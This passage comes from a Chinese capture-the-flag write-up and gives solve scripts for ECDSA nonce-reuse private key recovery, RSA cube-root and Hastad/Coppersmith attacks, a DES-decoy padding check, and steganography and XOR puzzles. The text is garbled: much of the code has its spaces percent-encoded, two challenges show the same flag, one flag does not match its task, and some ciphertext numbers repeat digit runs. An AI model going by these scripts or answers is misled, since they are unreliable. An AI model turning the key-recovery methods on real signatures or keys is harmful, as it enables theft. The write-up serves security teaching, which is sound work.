def%20scalar_mul(k,%20point=SECP256K1_G):
%20 %20result%20=%20None
%20 %20addend%20=%20point
%20 %20while%20k:
%20 %20 %20 %20if%20k%20&%201:
%20 %20 %20 %20 %20 %20result%20=%20point_add(result,%20addend)
%20 %20 %20 %20addend%20=%20point_add(addend,%20addend)
%20 %20 %20 %20k%20>>=%201
%20 %20return%20result
#%20SHA256哈希转整数
def%20sha256_int(hex_message):
%20 %20message%20=%20bytes.fromhex(hex_message)
%20 %20return%20int.from_bytes(hashlib.sha256(message).digest(),%20"big")
#%20恢复私钥
def%20recover_private_key(data):
%20 %20if%20data.get("curve")%20!=%20"SECP256k1":
%20 %20 %20 %20raise%20ValueError(f"unsupported%20curve:%20{data.get('curve')!r}")
%20 %20r1%20=%20int(data["signature1_r"])
%20 %20r2%20=%20int(data["signature2_r"])
%20 %20if%20r1%20!=%20r2:
%20 %20 %20 %20raise%20ValueError("signature%20r%20values%20differ;%20nonce%20reuse%20is%20not%20present")
%20 %20s1%20=%20int(data["signature1_s"])
%20 %20s2%20=%20int(data["signature2_s"])
%20 %20z1%20=%20sha256_int(data["message1"])
%20 %20z2%20=%20sha256_int(data["message2"])
%20 %20#%20计算nonce%20k
%20 %20k%20=%20((z1%20-%20z2)%20*%20pow((s1%20-%20s2)%20%%20SECP256K1_N,%20-1,%20SECP256K1_N))%20%%20SECP256K1_N
%20 %20#%20计算私钥d
%20 %20private_key%20=%20((s1%20*%20k%20-%20z1)%20*%20pow(r1,%20-1,%20SECP256K1_N))%20%%20SECP256K1_N
%20 %20return%20k,%20private_key
def%20main():
%20 %20parser%20=%20argparse.ArgumentParser(description="Recover%20a%20secp256k1%20ECDSA%20private%20key%20from%20nonce%20reuse.")
%20 %20parser.add_argument(
%20 %20 %20 %20"challenge",
%20 %20 %20 %20nargs="?",
%20 %20 %20 %20type=Path,
%20 %20 %20 %20default=Path("challenge.json"),
%20 %20 %20 %20help="path%20to%20challenge.json;%20defaults%20to%20./challenge.json",
%20 %20)
%20 %20parser.add_argument(
%20 %20 %20 %20"--flag-prefix",
%20 %20 %20 %20default="flag{ecdsa_nonce_reuse_",
%20 %20 %20 %20help="flag%20prefix%20before%20the%20first%2032%20hex%20chars%20of%20the%20private%20key",
%20 %20)
%20 %20args%20=%20parser.parse_args()
%20 %20#%20读取签名数据
%20 %20data%20=%20json.loads(args.challenge.read_text(encoding="utf-8"))
%20 %20k,%20private_key%20=%20recover_private_key(data)
%20 %20private_hex%20=%20f"{private_key:064x}"
%20 %20#%20验证私钥
%20 %20expected_public_key%20=%20(int(data["public_key_x"]),%20int(data["public_key_y"]))
%20 %20public_key%20=%20scalar_mul(private_key)
%20 %20public_key_ok%20=%20public_key%20==%20expected_public_key
%20 %20print(f"k:%20{k}")
%20 %20print(f"private_key_dec:%20{private_key}")
%20 %20print(f"private_key_hex:%20{private_hex}")
%20 %20print(f"public_key_matches:%20{public_key_ok}")
%20 %20print(f"flag:%20{args.flag_prefix}{private_hex[:32]}}}")
%20 %20if%20not%20public_key_ok:
%20 %20 %20 %20raise%20SystemExit("recovered%20private%20key%20did%20not%20match%20the%20public%20key")
if%20__name__%20==%20"__main__":
%20 %20main()
关键截图
flag
flag{ecdsa_nonce_reuse_27da112f7d3f0567c8d95827b4eff200}
13、RE-DES%20加密验证|PKCS7%20填充剥离
题目:DES%20加密验证题,校验逻辑为%20Hex%20转码%20+%20PKCS7%20填充
考点:DES%20干扰项、Hex%20解码、PKCS7%20填充剥离
解题步骤
- 查看%20APK%20和%20SO%20文件,发现%20DES%20加密为干扰逻辑,实际校验仅做%20Hex%20转码和%20PKCS7%20填充。
- 提取关键%20Hex%20字符串:
666c61677b323032333332363037373838393039363338307d07070707070707
- Hex%20解码:
s%20=%20"666c61677b323032333332363037373838393039363338307d07070707070707"
b%20=%20bytes.fromhex(s)
print(b)
#%20输出:b'flag{2023326077889096380}\x07\x07\x07\x07\x07\x07\x07'
- 末尾%207%20个
0x07为%20PKCS7%20填充,剥离填充后得到%20flag。
关键截图
flag
flag{2023326077889096380}
四、Crypto%20篇
14、Cry-BabyRSA|低指数%20e=3%20直接开立方
题目:RSA%20加密,e=3,明文较小
考点:RSA%20低指数攻击、无填充%20RSA、整数开立方
解题步骤
- 题目代码:
m%20=%20bytes_to_long(flag)
e%20=%203
p%20=%20getPrime(512)
q%20=%20getPrime(512)
n%20=%20p%20*%20q
c%20=%20pow(m,%20e,%20n)
- 明文%20m%20远小于%201024-bit%20的%20n,满足
m^3%20<%20n,因此c%20=%20m^3%20mod%20n%20=%20m^3。 - 直接对密文%20c%20开整数三次方,得到%20m,转字节即为%20flag。
完整%20EXP
from%20Crypto.Util.number%20import%20long_to_bytes
#%20密文c
c%20=%202217344750798307351107884404883186392024717286582728792622392458827535569286065686664154238860425984670745343425604930152583551079584945215761153070725981937630533517990833293356809387438502145314432121871771562219710842241279945379559694541987723833309929898606437
#%20整数开立方函数
def%20iroot3(x):
%20 %20l,%20r%20=%200,%201
%20 %20while%20r%20**%203%20<=%20x:
%20 %20 %20 %20r%20*=%202
%20 %20while%20l%20+%201%20<%20r:
%20 %20 %20 %20mid%20=%20(l%20+%20r)%20//%202
%20 %20 %20 %20if%20mid%20**%203%20<=%20x:
%20 %20 %20 %20 %20 %20l%20=%20mid
%20 %20 %20 %20else:
%20 %20 %20 %20 %20 %20r%20=%20mid
%20 %20return%20l
#%20计算明文m
m%20=%20iroot3(c)
print(m%20**%203%20==%20c)
print(long_to_bytes(m))
关键截图
flag
flag{2f1011202ab5318090e626ede3d99e46}
15、ScatterRSA|Hastad%20广播攻击%20+%20Coppersmith%20小根
题目:3%20组%20RSA%20密文,c_i%20=%20(a_i%20*%20m%20+%20b_i)^3%20mod%20n_i,m%20为%20flag
考点:RSA%20广播攻击、中国剩余定理(CRT)、Coppersmith%20小根攻击、多项式求解
解题步骤
- 3%20组密文均为
(a_i*m%20+%20b_i)^3%20mod%20n_i,e=3,m%20为相同明文。 - 对每组构造多项式:
f_i(x)%20=%20(a_i*x%20+%20b_i)^3%20-%20c_i%20≡%200%20mod%20n_i。 - 用%20CRT%20合并%203%20个多项式,得到模
N%20=%20n1*n2*n3的三次多项式f(x)%20≡%200%20mod%20N。 - flag%20较短,m%20为小根,用%20Coppersmith%20算法求解小根%20m,转字节得到%20flag。
完整%20EXP
import%20math
from%20functools%20import%20reduce
import%20gmpy2
import%20sympy%20as%20sp
from%20Crypto.Util.number%20import%20long_to_bytes
e%20=%203
#%20三组n、a、b、c
ns%20=%20[
%20 %208034769704256378777721283257104387036555065744170902965367188454784528114034392715241845916859207536470943064503572666023995153123040402216173558575026113510993192598128097365540092525779895326149380887433415754433392520369122298839059860084596807014568633500590940296307562337599388839479083104236964599,
%20 %201116111462609740875212511851692310364385795185933449362093680434891851897202181357438766546463816441865542420769037967381198971294009956724985329754079230065249181107364158653329783689743209744528796244218749429051762852502507052548943062242868527953591665882479221110651454464159843582310757929933068677,
%20 %201343584811114898976340677049173312807867034518055407000431372566606104487539498503419689802594859140003846963825224406866105196140280314307541736518650835325775845155217082216227778627278956999800513189568222027647359014659925041508110136254720786148604483456100887695721667170521276392427670381903013427,
]
aa%20=%20[
%20 %20274802463738823771234037979915170284150,
%20 %20195837409534596512418083442701692620720,
%20 %20178166232639995825116766884287577950395,
]
bb%20=%20[
%20 %2074759043850466604391368163495142916832049493297234951774182113528575349347388,
%20 %2063673913017247801569924210007728704736367075750773785998761988960787615664075,
%20 %2089627373243062664141152890813162893272510222942620192886426846665888819958264,
]
cs%20=%20[
%20 %2021539693764409170408971043680309531516830203341799063531170222336619433234175134468682200548819225784120311611370371352858368580400363989272311285002038777385682966896104823784058495157322776874385021453144321218717715622197108422412799453795596194541987723833309929898606437,
%20 %2078077435812215886996086090747673769578723679996784268112754169589809931676916817277508031614432051209164512108663760096750471608727533587552537713753760696525504588110496034868012991874371624149024517024671723655930148153725244252291481692220169372973255423070840865420153160864376643394488227163410,
%20 %201031042567037646915830706758954514762815884670940578598204760634507886986295138040283570762044664680684657877820865216399758295693616967441315657953431805277600015693340565478336491531705654783364915317056579534318056579534318056577687038331264556804291521427669545501808982073,
]
#%20CRT合并
def%20crt(residues,%20moduli):
%20 %20total%20=%200
%20 %20modulus%20=%20math.prod(moduli)
%20 %20for%20r,%20n%20in%20zip(residues,%20moduli):
%20 %20 %20 %20m%20=%20modulus%20//%20n
%20 %20 %20 %20total%20=%20(total%20+%20r%20*%20m%20*%20int(gmpy2.invert(m,%20n)))%20%%20modulus
%20 %20return%20total,%20modulus
#%20多项式乘法
def%20poly_mul(a,%20b):
%20 %20out%20=%20[0]%20*%20(len(a)%20+%20len(b)%20-%201)
%20 %20for%20i,%20av%20in%20enumerate(a):
%20 %20 %20 %20for%20j,%20bv%20in%20enumerate(b):
%20 %20 %20 %20 %20 %20out[i%20+%20j]%20+=%20av%20*%20bv
%20 %20return%20out
#%20多项式幂运算
def%20poly_pow(poly,%20power):
%20 %20out%20=%20[1]
%20 %20for%20_%20in%20range(power):
%20 %20 %20 %20out%20=%20poly_mul(out,%20poly)
%20 %20return%20out
#%20构造首一多项式
def%20build_monic_polynomial():
%20 %20coeff_residues%20=%20[[],%20[],%20[],%20[]]
%20 %20for%20n,%20a,%20b,%20c%20in%20zip(ns,%20aa,%20bb,%20cs):
%20 %20 %20 %20coeffs%20=%20[
%20 %20 %20 %20 %20 %20(b**3%20-%20c)%20%%20n,
%20 %20 %20 %20 %20 %20(3%20*%20a%20*%20b%20*%20b)%20%%20n,
%20 %20 %20 %20 %20 %20(3%20*%20a%20*%20a%20*%20b)%20%%20n,
%20 %20 %20 %20 %20 %20(a**3)%20%%20n,
%20 %20 %20 %20]
%20 %20 %20 %20for%20i,%20coeff%20in%20enumerate(coeffs):
%20 %20 %20 %20 %20 %20coeff_residues[i].append(coeff)
%20 %20coeffs%20=%20[]
%20 %20N%20=%20math.prod(ns)
%20 %20for%20residues%20in%20coeff_residues:
%20 %20 %20 %20coeff,%20_%20=%20crt(residues,%20ns)
%20 %20 %20 %20coeffs.append(coeff)
%20 %20inv_lead%20=%20int(gmpy2.invert(coeffs[3],%20N))
%20 %20monic%20=%20[(c%20*%20inv_lead)%20%%20N%20for%20c%20in%20coeffs]
%20 %20monic[3]%20=%201
%20 %20return%20monic,%20N
#%20Coppersmith小根攻击
def%20coppersmith_univariate_monic(f,%20N,%20X,%20m=2):
%20 %20d%20=%20len(f)%20-%201
%20 %20polys%20=%20[]
%20 %20for%20i%20in%20range(m):
%20 %20 %20 %20fi%20=%20poly_pow(f,%20i)
%20 %20 %20 %20for%20j%20in%20range(d):
%20 %20 %20 %20 %20 %20p%20=%20[0]%20*%20j%20+%20[coef%20*%20(N%20**%20(m%20-%20i))%20for%20coef%20in%20fi]
%20 %20 %20 %20 %20 %20polys.append(p)
%20 %20polys.append(poly_pow(f,%20m))
%20 %20max_deg%20=%20max(len(p)%20for%20p%20in%20polys)
%20 %20rows%20=%20[]
%20 %20for%20p%20in%20polys:
%20 %20 %20 %20row%20=%20[0]%20*%20max_deg
%20 %20 %20 %20for%20power,%20coeff%20in%20enumerate(p):
%20 %20 %20 %20 %20 %20row[power]%20=%20int(coeff%20*%20(X%20**%20power))
%20 %20 %20 %20rows.append(row)
%20 %20L%20=%20sp.Matrix(rows)
%20 %20L%20=%20L.lll()
%20 %20x%20=%20sp.Symbol("x")
%20 %20for%20row%20in%20L.tolist():
%20 %20 %20 %20coeffs%20=%20[]
%20 %20 %20 %20for%20power,%20value%20in%20enumerate(row):
%20 %20 %20 %20 %20 %20coeffs.append(sp.Rational(value,%20X%20**%20power))
%20 %20 %20 %20 %20 %20poly%20=%20sp.Poly(sum(coeffs[i]%20*%20x**i%20for%20i%20in%20range(len(coeffs))),%20x)
%20 %20 %20 %20 %20 %20roots%20=%20[]
%20 %20 %20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20 %20 %20roots.extend(poly.ground_roots().keys())
%20 %20 %20 %20 %20 %20except%20Exception:
%20 %20 %20 %20 %20 %20 %20 %20pass
%20 %20 %20 %20 %20 %20if%20not%20roots:
%20 %20 %20 %20 %20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20roots.extend(sp.roots(poly).keys())
%20 %20 %20 %20 %20 %20 %20 %20except%20Exception:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20pass
%20 %20 %20 %20 %20 %20for%20root%20in%20roots:
%20 %20 %20 %20 %20 %20 %20 %20if%20not%20root.is_Integer:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20continue
%20 %20 %20 %20 %20 %20 %20 %20r%20=%20int(root)
%20 %20 %20 %20 %20 %20 %20 %20if%20r%20>=%200%20and%20r%20<%20X%20and%20sum(f[i]%20*%20pow(r,%20i,%20N)%20for%20i%20in%20range(len(f)))%20%%20N%20==%200:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20return%20r
%20 %20return%20None
#%20主逻辑
f,%20N%20=%20build_monic_polynomial()
for%20bits%20in%20range(256,%20513,%2016):
%20 %20print("trying",%20bits,%20flush=True)
%20 %20root%20=%20coppersmith_univariate_monic(f,%20N,%201%20<<%20bits,%20m=1)
%20 %20if%20root%20is%20not%20None:
%20 %20 %20 %20print(long_to_bytes(root))
%20 %20 %20 %20break
else:
%20 %20print("no%20root")
关键截图
flag
flag{19550acb-c5f0-4b7d-b832-75890d97d6be}
五、Misc%20篇
16、Misc%20–%20幻影|Base64%20+%20单字节异或爆破
题目:data.bin%20文件,Base64%20+%20单字节异或加密
考点:文件隐写、Base64%20解码、单字节异或爆破
解题步骤
- 用%20010%20Editor%20查看%20data.bin,发现提示:
FLAG%20IS%20HIDDEN%20IN%20BASE64%20PLUS%20XOR,含假%20flag。 - 提取后半段%20Base64%20字符串:
GBIfGQVPR0tLTh8dHFMdSxhOU0ocSRpTHEZNTFNJS0ZHThpHSRpIHBsD。 - Base64%20解码后,单字节异或爆破,找到%20key=0x7e,解密得到%20flag。
关键截图
flag
flag{19550acb-c5f0-4b7d-b832-75890d97d6be}
17、Misc%20–%20迷宫|多层压缩包递归解压
题目:data2.zip,多层嵌套压缩包
考点:压缩包递归解压、Base64%20解码、字符串处理
解题步骤
- 解压%20data2.zip,得到
secret3/hidden4.zip。 - 递归解压,最终得到
.config/user/backup5/vault.bin。 - vault.bin%20内容为%20Base64%20编码:
NWRmNDYzZDVlZTg0Yjg5ODFlY2U0NGFiNTE0OTFmNDA=60。 - 去除尾部干扰字符
60,Base64%20解码得到:5df463d5ee84b8981ece44ab51491f40,拼接%20flag%20格式。
关键截图
flag
flag{5df463d5ee84b8981ece44ab51491f40}
18、像素中的秘密|PNG%20隐写%20+%20LCG+Base62
题目:image_04.png,PNG 尾部隐写密文
考点:PNG 文件结构、IEND 块、线性同余生成器(LCG)、Base62 解码
解题步骤
- 解压 image_04.zip,获取 image_04.png。
- 读取 PNG 结构,IEND 块后残留 64 字节数据,为隐写密文。
- 密文结构:4 字节填充 + 4 字节 seed + XOR 密文。
- 用 seed 初始化 LCG,生成随机数与密文异或,得到 Base62 字符串。
- Base62 转字节,UTF-8 解码得到 flag。
完整 EXP
#!/usr/bin/env python3
import argparse
import string
import struct
import zipfile
from pathlib import Path
# LCG参数
A = 1664525
C = 1013904223
MASK = 0xFFFFFFFF
# Base62字符集
B62 = string.digits + string.ascii_lowercase + string.ascii_uppercase
# 读取ZIP中的PNG
def get_png_data(zip_file: Path):
with zipfile.ZipFile(zip_file, 'r') as zf:
png_list = [n for n in zf.namelist() if n.lower().endswith('.png')]
if not png_list:
raise RuntimeError("No PNG inside archive")
target_name = png_list[0]
return target_name, zf.read(target_name)
# 截取IEND块后的数据
def cut_after_iend(data: bytes) -> bytes:
if not data.startswith(b'\x89PNG\r\n\x1a\n'):
raise RuntimeError("Not a valid PNG file")
offset = 8
data_len = len(data)
while offset + 8 <= data_len:
chunk_len = struct.unpack('>I', data[offset:offset+4])[0]
chunk_type = data[offset+4:offset+8]
offset += 8 + chunk_len + 4
if chunk_type == b'IEND':
return data[offset:]
raise RuntimeError("IEND chunk missing")
# LCG解密
def lcg_decrypt(raw: bytes):
if len(raw) < 8:
raise RuntimeError("Trailer data too short")
seed = int.from_bytes(raw[4:8], 'big')
cur = seed
out = bytearray()
for b in raw[8:]:
cur = (A * cur + C) & MASK
out.append(b ^ (cur & 0xFF))
return seed, bytes(out)
# Base62解码
def b62_decode(s: str) -> bytes:
num = 0
for c in s:
num = num * 62 + B62.index(c)
byte_cnt = (num.bit_length() + 7) // 8
return num.to_bytes(byte_cnt, 'big')
# 解析文件
def parse_file(zip_path: Path):
png_name, png_buf = get_png_data(zip_path)
tail = cut_after_iend(png_buf)
seed, dec_buf = lcg_decrypt(tail)
b62_str = dec_buf.rstrip(b'\x00').decode('ascii')
flag = b62_decode(b62_str).decode('utf-8')
return {
'zip_path': str(zip_path),
'png_name': png_name,
'png_size': len(png_buf),
'tail_size': len(tail),
'seed_hex': f"0x{seed:08x}",
'b62_str': b62_str,
'flag': flag
}
# 扫描目标文件
def scan_targets(input_list: list[str]) -> list[Path]:
if not input_list:
input_list = [str(Path(__file__).parent.resolve())]
paths = []
for item in input_list:
p = Path(item)
if p.is_dir():
paths += sorted(p.glob('*.zip'))
else:
paths.append(p)
return paths
# 主运行
def run():
parser = argparse.ArgumentParser()
parser.add_argument('targets', nargs='*')
args = parser.parse_args()
file_list = scan_targets(args.targets)
if not file_list:
print("[!] No ZIP files found")
return
for fp in file_list:
try:
res = parse_file(fp)
except Exception as e:
print(f"[!] {fp}: {str(e)}")
continue
print(f" Flag: {res['flag']}\n")
if __name__ == "__main__":
run()
关键截图
flag
flag{memory_dump_analysis}
19、签到题 – 损坏的压缩包|Base64 解码
题目:data.txt,内容为 Base64 字符串
考点:基础 Base64 解码
解题步骤
- 打开 data.txt,内容:
a2Jzdg==。 - 直接 Base64 解码,得到 flag。
关键截图
flag
flag{kbsv}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《第十届御网杯网络安全大赛 Write Up》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论